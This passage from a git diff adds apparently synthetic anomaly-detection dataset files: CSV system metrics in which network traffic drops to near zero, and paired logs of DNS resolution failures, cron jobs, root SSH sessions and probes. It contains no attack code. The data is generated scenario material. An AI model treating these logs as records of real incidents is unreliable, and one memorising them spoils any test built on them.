+2025-07-09T10:01:25Z,16.27,40.8,29.41,0.96,0.53 +2025-07-09T10:01:30Z,10.01,36.73,25.75,1.15,0.62 +2025-07-09T10:01:35Z,19.19,44.15,35.25,1.04,0.8 +2025-07-09T10:01:40Z,16.68,40.16,20.61,0.69,1.49 +2025-07-09T10:01:45Z,18.21,43.36,25.44,0.79,0.78 +2025-07-09T10:01:50Z,19.65,36.44,39.69,0.74,1.29 +2025-07-09T10:01:55Z,16.08,38.92,25.79,0.84,0.71 +2025-07-09T10:02:00Z,10.75,42.95,34.33,0.69,1.4 +2025-07-09T10:02:05Z,13.34,44.35,33.95,0.54,0.79 +2025-07-09T10:02:10Z,18.05,38.28,24.55,1.41,0.81 +2025-07-09T10:02:15Z,12.77,35.83,37.3,0.76,1.07 +2025-07-09T10:02:20Z,13.48,39.45,33.14,0.51,0.55 +2025-07-09T10:02:25Z,13.06,41.4,35.93,1.14,1.32 +2025-07-09T10:02:30Z,14.96,39.01,32.28,0.04,0.1 +2025-07-09T10:02:35Z,16.28,42.85,25.81,0.09,0.01 +2025-07-09T10:02:40Z,10.37,39.64,29.45,0.08,0.09 +2025-07-09T10:02:45Z,15.93,40.95,31.97,0.09,0.04 +2025-07-09T10:02:50Z,12.88,40.05,21.71,0.0,0.08 +2025-07-09T10:02:55Z,17.54,43.12,27.05,0.1,0.03 +2025-07-09T10:03:00Z,19.24,42.43,28.65,0.06,0.08 +2025-07-09T10:03:05Z,13.99,41.85,35.59,0.03,0.05 +2025-07-09T10:03:10Z,19.36,39.38,27.85,0.07,0.03 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+2025-07-09T10:06:35Z,19.36,38.54,32.28,0.63,1.2 +2025-07-09T10:06:40Z,12.43,43.84,26.82,1.09,1.01 +2025-07-09T10:06:45Z,15.6,35.34,26.0,1.45,1.45 +2025-07-09T10:06:50Z,17.66,39.15,23.33,0.69,0.59 +2025-07-09T10:06:55Z,10.53,42.59,29.9,0.86,0.81 +2025-07-09T10:07:00Z,11.07,37.88,28.31,0.53,0.79 +2025-07-09T10:07:05Z,19.19,38.8,32.86,0.78,0.63 +2025-07-09T10:07:10Z,18.16,35.31,28.48,1.33,1.32 +2025-07-09T10:07:15Z,12.96,35.55,25.54,0.6,0.66 +2025-07-09T10:07:20Z,13.28,41.08,28.72,0.89,1.29 +2025-07-09T10:07:25Z,15.67,41.34,24.12,0.7,0.92 diff --git a/anom_dataset/scenario_9/anom_9_19.log b/anom_dataset/scenario_9/anom_9_19.log new file mode 100644 index 0000000000000000000000000000000000000000..3876eb14615649e553980bfde8f3fe044922d635 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_19.log @@ -0,0 +1,42 @@ +Jul 09 10:00:05 web-app[1234]: GET /api/v1/products status=200 OK +Jul 09 10:00:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 09 10:00:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:00:25 systemd[1]: Starting daily clean up activities... +Jul 09 10:00:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 09 10:00:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 09 10:00:50 web-app[1234]: GET /api/v1/products status=200 OK +Jul 09 10:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 09 10:01:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:01:35 web-app[1234]: GET /api/v1/products status=200 OK +Jul 09 10:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 09 10:01:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:02:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:02:30 api-gateway[3456]: ERROR upstream host user-service.prod.internal not found +Jul 09 10:02:35 web-app[1234]: ERROR Could not resolve host: metrics.example.com +Jul 09 10:02:50 web-app[1234]: ERROR Could not resolve host: metrics.example.com +Jul 09 10:02:55 api-gateway[3456]: ERROR upstream host user-service.prod.internal not found +Jul 09 10:03:05 api-gateway[3456]: ERROR upstream host user-service.prod.internal not found +Jul 09 10:03:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 09 10:03:45 web-app[1234]: ERROR connect to database.prod.internal failed: Name or service not known +Jul 09 10:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 09 10:04:10 web-app[1234]: ERROR connect to database.prod.internal failed: Name or service not known +Jul 09 10:04:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 09 10:04:35 web-app[1234]: ERROR Could not resolve host: metrics.example.com +Jul 09 10:04:50 web-app[1234]: ERROR connect to database.prod.internal failed: Name or service not known +Jul 09 10:04:55 web-app[1234]: ERROR Could not resolve host: metrics.example.com +Jul 09 10:05:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:05:15 web-app[1234]: GET /api/v1/products status=200 OK +Jul 09 10:05:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 09 10:05:25 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:05:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 09 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 09 10:06:00 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 09 10:06:25 web-app[1234]: GET /api/v1/products status=200 OK +Jul 09 10:06:30 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:06:35 web-app[1234]: GET /api/v1/products status=200 OK +Jul 09 10:06:45 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:06:50 web-app[1234]: GET /api/v1/products status=200 OK +Jul 09 10:07:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 09 10:07:20 systemd[1]: Starting daily clean up activities... +Jul 09 10:07:25 systemd[1]: Starting daily clean up activities... diff --git a/anom_dataset/scenario_9/anom_9_2.csv b/anom_dataset/scenario_9/anom_9_2.csv new file mode 100644 index 0000000000000000000000000000000000000000..6c553420dfdd9d5a1c3b3b6bce12258c100e5aef --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_2.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-04T15:30:00Z,24.77,42.73,22.16,1.11,1.19 +2025-07-04T15:30:05Z,19.57,50.63,20.2,0.86,1.01 +2025-07-04T15:30:10Z,20.27,47.57,34.81,0.93,1.01 +2025-07-04T15:30:15Z,19.26,41.38,19.99,1.07,1.13 +2025-07-04T15:30:20Z,19.63,43.44,33.65,1.0,1.49 +2025-07-04T15:30:25Z,17.2,49.11,31.72,1.1,1.23 +2025-07-04T15:30:30Z,15.88,37.11,28.77,0.22,1.38 +2025-07-04T15:30:35Z,19.51,41.53,44.96,0.65,1.35 +2025-07-04T15:30:40Z,12.95,47.88,26.72,0.86,1.23 +2025-07-04T15:30:45Z,19.85,40.11,32.98,0.65,1.07 +2025-07-04T15:30:50Z,19.32,51.43,22.59,0.63,1.0 +2025-07-04T15:30:55Z,16.53,40.54,25.21,0.26,1.17 +2025-07-04T15:31:00Z,18.47,39.46,34.52,1.07,1.29 +2025-07-04T15:31:05Z,16.1,39.68,25.37,0.82,0.8 +2025-07-04T15:31:10Z,15.67,45.17,29.79,0.67,1.02 +2025-07-04T15:31:15Z,20.39,43.36,34.13,1.33,1.64 +2025-07-04T15:31:20Z,18.48,41.91,30.49,0.78,1.01 +2025-07-04T15:31:25Z,22.95,45.44,27.51,1.12,1.34 +2025-07-04T15:31:30Z,24.51,41.78,30.32,0.96,0.8 +2025-07-04T15:31:35Z,19.71,46.01,17.31,1.05,1.74 +2025-07-04T15:31:40Z,18.76,47.6,28.32,0.39,1.77 +2025-07-04T15:31:45Z,22.23,46.44,36.38,0.86,1.39 +2025-07-04T15:31:50Z,13.73,40.68,40.51,0.79,1.34 +2025-07-04T15:31:55Z,15.1,48.61,34.17,1.07,1.46 +2025-07-04T15:32:00Z,17.66,45.65,30.92,1.6,1.25 +2025-07-04T15:32:05Z,18.98,48.33,31.01,1.28,1.05 +2025-07-04T15:32:10Z,18.42,48.9,25.4,1.22,1.6 +2025-07-04T15:32:15Z,18.46,43.45,35.77,0.53,1.05 +2025-07-04T15:32:20Z,20.02,48.13,35.42,0.95,1.45 +2025-07-04T15:32:25Z,18.18,42.16,26.77,0.84,1.75 +2025-07-04T15:32:30Z,19.6,47.35,20.7,0.54,0.88 +2025-07-04T15:32:35Z,18.82,38.51,32.61,0.98,1.25 +2025-07-04T15:32:40Z,16.76,47.71,37.56,1.15,1.3 +2025-07-04T15:32:45Z,16.11,45.1,27.31,0.98,0.55 +2025-07-04T15:32:50Z,15.64,38.29,31.6,1.13,1.13 +2025-07-04T15:32:55Z,19.21,46.34,32.48,1.24,1.33 +2025-07-04T15:33:00Z,17.71,42.87,35.93,0.81,0.85 +2025-07-04T15:33:05Z,22.75,53.47,33.08,1.39,1.65 +2025-07-04T15:33:10Z,18.6,45.79,24.43,0.69,1.88 +2025-07-04T15:33:15Z,22.99,54.21,35.08,0.84,1.82 +2025-07-04T15:33:20Z,15.52,47.92,28.21,0.01,0.01 +2025-07-04T15:33:25Z,18.49,41.55,30.17,0.02,0.03 +2025-07-04T15:33:30Z,15.16,46.22,35.33,0.04,0.02 +2025-07-04T15:33:35Z,18.0,45.97,18.96,0.01,0.02 +2025-07-04T15:33:40Z,20.56,48.46,35.18,0.02,0.02 +2025-07-04T15:33:45Z,17.61,38.76,23.54,0.03,0.05 +2025-07-04T15:33:50Z,17.92,43.99,26.52,0.02,0.04 +2025-07-04T15:33:55Z,19.62,42.69,37.25,0.04,0.02 +2025-07-04T15:34:00Z,23.39,45.95,37.21,0.02,0.02 +2025-07-04T15:34:05Z,16.47,45.8,25.08,0.03,0.03 +2025-07-04T15:34:10Z,16.11,46.31,23.82,0.04,0.02 +2025-07-04T15:34:15Z,17.13,47.7,20.85,0.05,0.02 +2025-07-04T15:34:20Z,18.37,44.3,24.87,0.01,0.04 +2025-07-04T15:34:25Z,16.8,48.12,39.62,0.01,0.04 +2025-07-04T15:34:30Z,19.4,43.47,31.11,0.05,0.02 +2025-07-04T15:34:35Z,20.56,43.36,24.04,0.02,0.02 +2025-07-04T15:34:40Z,15.69,46.37,29.21,0.05,0.02 +2025-07-04T15:34:45Z,22.66,45.79,21.99,0.05,0.03 +2025-07-04T15:34:50Z,15.17,41.07,29.46,0.02,0.03 +2025-07-04T15:34:55Z,19.53,53.93,34.19,0.02,0.05 +2025-07-04T15:35:00Z,18.97,41.11,21.55,0.02,0.04 +2025-07-04T15:35:05Z,23.21,38.91,35.23,0.02,0.02 +2025-07-04T15:35:10Z,17.06,49.53,39.51,0.03,0.02 +2025-07-04T15:35:15Z,18.58,47.11,35.58,0.01,0.03 +2025-07-04T15:35:20Z,19.7,46.57,26.69,0.05,0.02 +2025-07-04T15:35:25Z,20.59,42.48,35.65,0.0,0.02 +2025-07-04T15:35:30Z,17.92,39.41,24.15,0.01,0.04 +2025-07-04T15:35:35Z,22.85,44.12,23.67,0.03,0.04 +2025-07-04T15:35:40Z,15.49,44.82,42.99,0.04,0.04 +2025-07-04T15:35:45Z,16.15,45.05,22.4,0.05,0.03 +2025-07-04T15:35:50Z,18.47,45.37,25.18,0.02,0.02 +2025-07-04T15:35:55Z,16.17,49.96,28.48,0.05,0.04 +2025-07-04T15:36:00Z,14.54,40.61,30.54,0.04,0.02 +2025-07-04T15:36:05Z,21.71,37.37,37.93,0.01,0.01 +2025-07-04T15:36:10Z,20.4,43.48,34.76,0.05,0.02 +2025-07-04T15:36:15Z,12.65,38.34,38.16,0.0,0.04 +2025-07-04T15:36:20Z,20.48,34.05,34.63,0.02,0.05 +2025-07-04T15:36:25Z,20.98,51.09,31.77,0.04,0.0 +2025-07-04T15:36:30Z,15.38,45.71,21.65,0.03,0.03 +2025-07-04T15:36:35Z,21.23,42.49,30.88,0.04,0.04 +2025-07-04T15:36:40Z,14.33,43.44,25.62,0.43,1.68 +2025-07-04T15:36:45Z,16.76,51.97,25.68,0.57,0.94 +2025-07-04T15:36:50Z,17.59,49.52,28.29,1.55,1.7 +2025-07-04T15:36:55Z,19.21,48.59,42.54,0.75,0.98 +2025-07-04T15:37:00Z,18.98,46.32,36.02,0.47,0.85 +2025-07-04T15:37:05Z,18.55,40.75,36.19,1.24,1.3 +2025-07-04T15:37:10Z,15.86,44.5,23.51,1.35,1.27 +2025-07-04T15:37:15Z,21.85,41.22,30.0,0.57,1.75 +2025-07-04T15:37:20Z,19.67,53.12,28.68,0.91,1.23 +2025-07-04T15:37:25Z,16.65,40.81,31.76,0.84,1.41 diff --git a/anom_dataset/scenario_9/anom_9_2.log b/anom_dataset/scenario_9/anom_9_2.log new file mode 100644 index 0000000000000000000000000000000000000000..bf68a90b2d2dd8b627d2b5edca2b93c364ad8bc8 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_2.log @@ -0,0 +1,44 @@ +Jul 04 15:30:20 cron[17002]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 04 15:30:25 sshd[17003]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 04 15:31:10 kernel: [1751643070.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 04 15:31:55 kernel: [1751643115.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 04 15:32:00 kernel: [1751643120.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 04 15:32:05 cron[17011]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 04 15:32:10 systemd[1]: Started Session 59 of user service-account. +Jul 04 15:32:15 kernel: [1751643135.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 04 15:32:30 kernel: [1751643150.000000] audit: type=1400 apparmor="ALLOWED" operation="open" profile="/usr/sbin/sshd" +Jul 04 15:33:15 sshd[17022]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 04 15:33:25 payment-processor[17026]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 04 15:33:30 kernel: [1751643210.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_2`, status `FAIL` +Jul 04 15:33:40 data-exporter[17039]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 04 15:33:50 api-gateway[17045]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:33:55 api-gateway[17051]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:34:00 api-gateway[17056]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:34:15 sshd[17059]: pam_unix(sshd:session): session opened for user root by (uid=0) +Jul 04 15:34:25 api-gateway[17061]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:34:30 payment-processor[17064]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 04 15:34:35 api-gateway[17070]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:34:40 payment-processor[17072]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 04 15:34:45 payment-processor[17078]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 04 15:34:50 api-gateway[17082]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:34:55 nginx[17083]: POST /v1/data HTTP/1.1 202 ACCEPTED +Jul 04 15:35:00 data-exporter[17085]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 04 15:35:05 data-exporter[17092]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 04 15:35:10 kernel: [1751643310.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_2`, status `FAIL` +Jul 04 15:35:15 data-exporter[17104]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 04 15:35:25 kernel: [1751643325.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_2`, status `FAIL` +Jul 04 15:35:30 payment-processor[17112]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 04 15:35:35 payment-processor[17114]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 04 15:35:40 api-gateway[17116]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:35:45 data-exporter[17117]: CRITICAL Unrecoverable error connecting to object-storage.region.cloud.provider: Host not found +Jul 04 15:35:55 api-gateway[17121]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:36:00 api-gateway[17122]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:36:05 kernel: [1751643365.000000] nss: lookup `metrics.cloud.service`, track_id `xyz_2`, status `FAIL` +Jul 04 15:36:10 payment-processor[17132]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 04 15:36:15 nginx[17133]: POST /v1/data HTTP/1.1 202 ACCEPTED +Jul 04 15:36:20 api-gateway[17139]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:36:25 payment-processor[17145]: ERROR upstream connect error or disconnect/reset before headers. retrying... URL: https://auth.provider.com, DNS error: NXDOMAIN +Jul 04 15:36:35 api-gateway[17150]: WARN failed to resolve hostname: user-database.internal.cluster.local +Jul 04 15:36:40 systemd[1]: Started Session 66 of user service-account. +Jul 04 15:36:45 nginx[17155]: POST /v1/data HTTP/1.1 202 ACCEPTED +Jul 04 15:37:10 systemd[1]: Started Session 68 of user service-account. diff --git a/anom_dataset/scenario_9/anom_9_20.csv b/anom_dataset/scenario_9/anom_9_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..05a2c34104915cfceb2e28d0a46b96fb8d5530a1 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_20.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-09T10:00:00Z,21.7,43.21,29.21,1.49,1.25 +2025-07-09T10:00:05Z,18.64,44.97,21.01,1.28,0.97 +2025-07-09T10:00:10Z,24.42,48.33,23.08,1.23,0.97 +2025-07-09T10:00:15Z,19.33,45.85,21.5,1.24,1.05 +2025-07-09T10:00:20Z,19.65,46.52,23.74,1.43,0.95 +2025-07-09T10:00:25Z,22.06,46.3,29.1,1.19,1.05 +2025-07-09T10:00:30Z,23.59,46.74,21.61,1.29,0.88 +2025-07-09T10:00:35Z,22.52,48.89,29.75,1.12,1.16 +2025-07-09T10:00:40Z,20.22,43.38,24.72,1.4,0.83 +2025-07-09T10:00:45Z,20.24,41.73,26.04,1.21,1.2 +2025-07-09T10:00:50Z,21.9,46.96,30.07,1.38,1.05 +2025-07-09T10:00:55Z,24.63,45.67,23.04,1.33,1.24 +2025-07-09T10:01:00Z,18.58,44.5,27.77,1.24,1.07 +2025-07-09T10:01:05Z,17.1,47.99,30.04,1.4,0.86 +2025-07-09T10:01:10Z,20.35,48.86,22.52,1.1,0.88 +2025-07-09T10:01:15Z,16.11,46.04,31.74,1.31,1.14 +2025-07-09T10:01:20Z,15.19,49.53,26.18,1.39,0.88 +2025-07-09T10:01:25Z,18.46,43.18,27.66,1.08,1.0 +2025-07-09T10:01:30Z,15.73,41.55,29.91,1.41,1.15 +2025-07-09T10:01:35Z,23.62,46.87,30.97,1.43,1.23 +2025-07-09T10:01:40Z,17.83,45.75,30.7,1.36,1.27 +2025-07-09T10:01:45Z,16.67,44.38,23.57,1.28,1.11 +2025-07-09T10:01:50Z,22.34,49.72,24.71,1.33,1.13 +2025-07-09T10:01:55Z,21.9,46.0,25.41,1.43,1.0 +2025-07-09T10:02:00Z,23.15,43.9,32.06,1.14,0.84 +2025-07-09T10:02:05Z,16.61,47.41,28.99,1.49,0.89 +2025-07-09T10:02:10Z,18.45,41.82,34.11,1.15,1.27 +2025-07-09T10:02:15Z,20.25,42.14,23.0,1.08,1.28 +2025-07-09T10:02:20Z,16.26,44.89,29.97,1.5,1.01 +2025-07-09T10:02:25Z,15.09,47.41,28.0,1.03,1.07 +2025-07-09T10:02:30Z,24.91,43.53,29.13,0.05,0.02 +2025-07-09T10:02:35Z,19.16,49.65,31.03,0.07,0.07 +2025-07-09T10:02:40Z,22.94,48.31,34.5,0.07,0.01 +2025-07-09T10:02:45Z,24.97,47.55,31.77,0.06,0.02 +2025-07-09T10:02:50Z,19.71,49.99,24.41,0.03,0.05 +2025-07-09T10:02:55Z,18.4,42.26,30.2,0.04,0.01 +2025-07-09T10:03:00Z,16.52,49.01,29.14,0.07,0.01 +2025-07-09T10:03:05Z,21.99,47.74,25.08,0.08,0.1 +2025-07-09T10:03:10Z,23.57,46.66,26.38,0.1,0.1 +2025-07-09T10:03:15Z,21.81,43.26,27.09,0.09,0.02 +2025-07-09T10:03:20Z,19.95,49.47,29.48,0.08,0.02 +2025-07-09T10:03:25Z,18.22,43.08,32.15,0.05,0.04 +2025-07-09T10:03:30Z,15.54,49.45,30.65,0.01,0.05 +2025-07-09T10:03:35Z,15.26,42.15,33.17,0.03,0.01 +2025-07-09T10:03:40Z,21.64,40.03,28.62,0.02,0.04 +2025-07-09T10:03:45Z,20.94,47.01,20.82,0.07,0.06 +2025-07-09T10:03:50Z,15.65,43.73,30.67,0.01,0.02 +2025-07-09T10:03:55Z,22.92,46.75,26.23,0.09,0.07 +2025-07-09T10:04:00Z,16.75,45.74,28.2,0.0,0.05 +2025-07-09T10:04:05Z,21.77,42.33,33.05,0.1,0.03 +2025-07-09T10:04:10Z,20.57,49.81,24.39,0.08,0.02 +2025-07-09T10:04:15Z,17.33,42.39,21.29,0.04,0.04 +2025-07-09T10:04:20Z,19.94,41.45,32.99,0.09,0.03 +2025-07-09T10:04:25Z,17.47,47.31,22.71,0.03,0.01 +2025-07-09T10:04:30Z,20.14,45.76,21.82,0.01,0.04 +2025-07-09T10:04:35Z,23.35,41.21,29.44,0.04,0.04 +2025-07-09T10:04:40Z,22.66,44.92,30.06,0.0,0.04 +2025-07-09T10:04:45Z,15.5,42.88,30.75,0.06,0.09 +2025-07-09T10:04:50Z,19.21,42.02,30.64,0.07,0.02 +2025-07-09T10:04:55Z,21.99,42.65,31.93,0.02,0.07 +2025-07-09T10:05:00Z,18.49,40.92,21.47,0.08,0.01 +2025-07-09T10:05:05Z,21.65,49.51,25.9,0.08,0.09 +2025-07-09T10:05:10Z,15.96,41.47,26.1,0.09,0.0 +2025-07-09T10:05:15Z,15.9,45.39,26.75,0.08,0.05 +2025-07-09T10:05:20Z,22.69,49.32,20.62,0.02,0.01 +2025-07-09T10:05:25Z,20.52,40.66,31.72,0.09,0.09 +2025-07-09T10:05:30Z,22.16,48.46,22.38,0.05,0.1 +2025-07-09T10:05:35Z,16.97,40.09,32.51,0.05,0.07 +2025-07-09T10:05:40Z,20.1,49.09,20.17,0.1,0.02 +2025-07-09T10:05:45Z,24.01,48.5,22.6,0.03,0.01 +2025-07-09T10:05:50Z,16.43,45.62,22.68,0.06,0.08 +2025-07-09T10:05:55Z,20.33,47.41,22.19,0.09,0.0 +2025-07-09T10:06:00Z,22.54,49.01,22.43,0.03,0.03 +2025-07-09T10:06:05Z,20.34,44.76,33.39,0.0,0.06 +2025-07-09T10:06:10Z,17.45,43.41,24.73,0.02,0.05 +2025-07-09T10:06:15Z,15.47,44.83,26.27,0.08,0.01 +2025-07-09T10:06:20Z,19.27,47.43,27.36,0.04,0.03 +2025-07-09T10:06:25Z,20.06,47.71,28.75,0.02,0.04 +2025-07-09T10:06:30Z,24.2,46.36,22.24,0.08,0.04 +2025-07-09T10:06:35Z,24.24,41.56,29.12,0.05,0.01 +2025-07-09T10:06:40Z,21.37,47.62,31.82,0.03,0.02 +2025-07-09T10:06:45Z,16.68,46.46,23.15,0.09,0.01 +2025-07-09T10:06:50Z,20.05,41.31,29.27,0.02,0.07 +2025-07-09T10:06:55Z,20.45,48.52,25.39,0.01,0.06 +2025-07-09T10:07:00Z,16.98,43.8,34.0,0.04,0.09 +2025-07-09T10:07:05Z,23.07,40.33,25.93,0.08,0.01 +2025-07-09T10:07:10Z,19.31,49.67,27.64,0.08,0.09 +2025-07-09T10:07:15Z,22.8,41.5,23.75,0.02,0.02 +2025-07-09T10:07:20Z,16.92,49.0,34.58,0.03,0.03 +2025-07-09T10:07:25Z,21.07,42.42,20.93,0.05,0.06 diff --git a/anom_dataset/scenario_9/anom_9_20.log b/anom_dataset/scenario_9/anom_9_20.log new file mode 100644 index 0000000000000000000000000000000000000000..3dbf27ec1f391f7bd9f2a59dd2d08aa0310e1435 --- /dev/null +++ b/anom_dataset/scenario_9/anom_9_20.log @@ -0,0 +1,90 @@ +Jul 09 10:00:00 payment-service[3303]: INFO Successful connection to database-host +Jul 09 10:00:05 payment-service[3303]: GET /health status=200 OK +Jul 09 10:00:10 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:00:15 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:00:20 payment-service[3303]: INFO Successful connection to database-host +Jul 09 10:00:25 payment-service[3303]: GET /health status=200 OK +Jul 09 10:00:30 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:00:35 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:00:40 payment-service[3303]: INFO Successful connection to database-host +Jul 09 10:00:45 payment-service[3303]: GET /health status=200 OK +Jul 09 10:00:50 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:00:55 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:01:00 payment-service[3303]: INFO Successful connection to database-host +Jul 09 10:01:05 payment-service[3303]: GET /health status=200 OK +Jul 09 10:01:10 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:01:15 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:01:20 payment-service[3303]: INFO Successful connection to database-host +Jul 09 10:01:25 payment-service[3303]: GET /health status=200 OK +Jul 09 10:01:30 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:01:35 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:01:40 payment-service[3303]: INFO Successful connection to database-host +Jul 09 10:01:45 payment-service[3303]: GET /health status=200 OK +Jul 09 10:01:50 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:01:55 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:02:00 payment-service[3303]: INFO Successful connection to database-host +Jul 09 10:02:05 payment-service[3303]: GET /health status=200 OK +Jul 09 10:02:10 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:02:15 payment-service[3303]: INFO Initiating connection to billing.external.com +Jul 09 10:02:20 payment-service[3303]: INFO Successful connection to database-host +Jul 09 10:02:25 payment-service[3303]: GET /health status=200 OK +Jul 09 10:02:30 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:02:35 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:02:40 systemd[1]: Starting daily clean up activities... +Jul 09 10:02:45 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:02:50 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:02:55 systemd[1]: Starting daily clean up activities... +Jul 09 10:03:00 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:03:05 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:03:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:03:15 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:03:20 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:03:25 systemd[1]: Starting daily clean up activities... +Jul 09 10:03:30 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:03:35 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:03:40 systemd[1]: Starting daily clean up activities... +Jul 09 10:03:45 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:03:50 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:03:55 systemd[1]: Starting daily clean up activities... +Jul 09 10:04:00 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:04:05 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:04:10 systemd[1]: Starting daily clean up activities... +Jul 09 10:04:15 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:04:20 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:04:25 systemd[1]: Starting daily clean up activities... +Jul 09 10:04:30 payment-service[3303]: ERROR Failed to connect to billing.external.com: dial tcp: lookup billing.external.com: host not found +Jul 09 10:04:35 payment-service[3303]: WARNING DNS resolution failed for service: billing.external.com, error: Name or service not known +Jul 09 10:04:40 systemd[1]: Starting daily clean up activities... +Jul 09 10:04:45 